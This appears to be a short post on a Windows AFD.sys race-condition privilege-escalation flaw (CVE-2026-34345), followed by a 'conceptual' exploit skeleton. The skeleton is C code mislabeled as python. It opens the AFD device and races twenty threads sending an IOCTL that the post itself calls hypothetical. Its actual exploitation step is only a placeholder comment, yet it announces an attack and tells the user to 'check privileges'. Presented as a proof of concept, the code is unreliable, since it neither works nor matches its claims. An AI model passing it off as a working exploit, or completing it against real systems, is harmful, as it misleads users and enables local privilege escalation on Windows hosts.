Concurrent execution using shared resource with improper synchronization ('race condition') in Windows Ancillary Function Driver for WinSock allows an authorized attacker to elevate privileges locally.
The following code is for security research and authorized testing only.
python
/*
* Conceptual Proof of Concept for CVE-2026-34345
* This code demonstrates the threading mechanism to trigger a race condition.
* Target: AFD.sys
*/
#include <windows.h>
#include <stdio.h>
#define VULNERABLE_IOCTL 0x00012024 // Hypothetical IOCTL for AFD
HANDLE hDevice;
BOOL trigger = FALSE;
DWORD WINAPI RaceThread(LPVOID lpParam) {
DWORD bytesReturned;
CHAR inputBuffer[0x20] = {0};
CHAR outputBuffer[0x20] = {0};
// Wait for the signal to start the race
while (!trigger) {
Sleep(1);
}
// Send malicious IOCTL to trigger the race window in the driver
DeviceIoControl(hDevice, VULNERABLE_IOCTL, inputBuffer, sizeof(inputBuffer),
outputBuffer, sizeof(outputBuffer), &bytesReturned, NULL);
return 0;
}
DWORD WINAPI ExploitThread(LPVOID lpParam) {
// Wait for the signal
while (!trigger) {
Sleep(1);
}
// Perform operations to corrupt state during the race window
// (e.g., freeing an object or modifying memory)
Sleep(5); // Small delay to attempt to hit the window
// ... exploitation logic ...
return 0;
}
int main() {
// Open a handle to the AFD device
hDevice = CreateFileA("\\\\.\\Afd", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
if (hDevice == INVALID_HANDLE_VALUE) {
printf("[!] Failed to open AFD device. Error: %d\n", GetLastError());
return 1;
}
printf("[+] Opened handle to AFD device\n");
HANDLE threads[20];
// Create multiple threads to increase chances of hitting the race condition
for (int i = 0; i < 10; i++) {
threads[i] = CreateThread(NULL, 0, RaceThread, NULL, 0, NULL);
threads[i+10] = CreateThread(NULL, 0, ExploitThread, NULL, 0, NULL);
}
printf("[*] Starting race condition attack...\n");
trigger = TRUE; // Signal all threads to go
WaitForMultipleObjects(20, threads, TRUE, INFINITE);
printf("[*] Attack finished. Check privileges.\n");
CloseHandle(hDevice);
return 0;
}